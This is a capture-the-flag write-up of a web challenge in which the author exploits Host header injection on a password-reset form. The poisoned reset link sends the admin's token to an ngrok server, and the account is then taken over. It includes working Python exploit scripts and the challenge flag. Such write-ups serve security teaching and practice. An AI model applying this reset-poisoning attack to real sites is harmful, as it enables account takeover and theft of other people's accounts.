Tags: hostheaderinjection web
Rating: 5.0
### Initial Analysis
The site appeared as follows, with a login screen:
![login](https://i.imgur.com/oEYgxMV.png)
After completing the registration and login phase, you would enter a completely empty dashboard where the only available action was to log out. That’s when I realized that registering was pointless. Inspecting the page source, I found a strange comment:
![comment](https://i.imgur.com/J5W8ZJG.png)
the comment revealed an email, most likely belonging to the account containing the flag. Continuing to explore the site since it was a black-box challenge without any files I found the "Forgot Password" section:
![forgot](https://i.imgur.com/kTCny7l.png)
Where it was possible to specify an email to reset a password. At this point, I thought about resetting the password for the account associated with the email I had found earlier. And I considered a Host Header Injection.
### Exploit
So i started ngrok on port 80:
```
ngrok http 80
```
And then, using Burp Suite, I modified the Host header to `Host: ngrok_link`. By sending the request with the modified Host header through ngrok, I was able to extract the reset token from the previously sent "Forgot Password" request with the email [email protected]:
![intercept](https://i.imgur.com/fXFhS1s.png)
After extracting the valid token, I reset the password using the obtained link and logged in with the account using the following credentials:
```
username: kctf2025
password: new_password
```
![flag](https://i.imgur.com/jQ6VR20.png)
### Automated Exploit
I also created a fully automated exploit that performs the entire process described earlier:
```
ngrok http 8080
(set the ngrok url in the request.py file)
python exploit.py
python request.py
```
this is `exploit.py`:
```python
import http.server
import socketserver
import requests
import re
from urllib.parse import urlparse, parse_qs
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# Extract the token parameter from the request
token = parse_qs(urlparse(self.path).query).get('token', [None])[0]
self.send_request(token)
def send_request(self, token):
s = requests.Session()
url = "http://45.56.68.122:7474/"
password = "supermario45"
data ={
"token":token,
"new_password":password
}
# Request for the password reset of the admin account
s.post(url+"reset-password", data=data).text
credentials={
"username":"kctf2025",
"password":password
}
# Request login admin account with Flag extraction via Regex
print("\nFLAG: " + re.search(r'KCTF{[^}]+}', s.post(url, data=credentials).text).group(0))
def start_server():
PORT = 8080
with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
httpd.serve_forever()
if __name__ == "__main__":
start_server()
```
and this is `request.py`:
```
import requests
requests.post("http://45.56.68.122:7474/forgot-password", data={"email":"[email protected]"}, headers={"Host":"6cde-93-70-84-224.ngrok-free.app"})
```
### Flag
```
KCTF{PaSsW0rD_ReSet_p0is0n1ng_iS_FuN}
```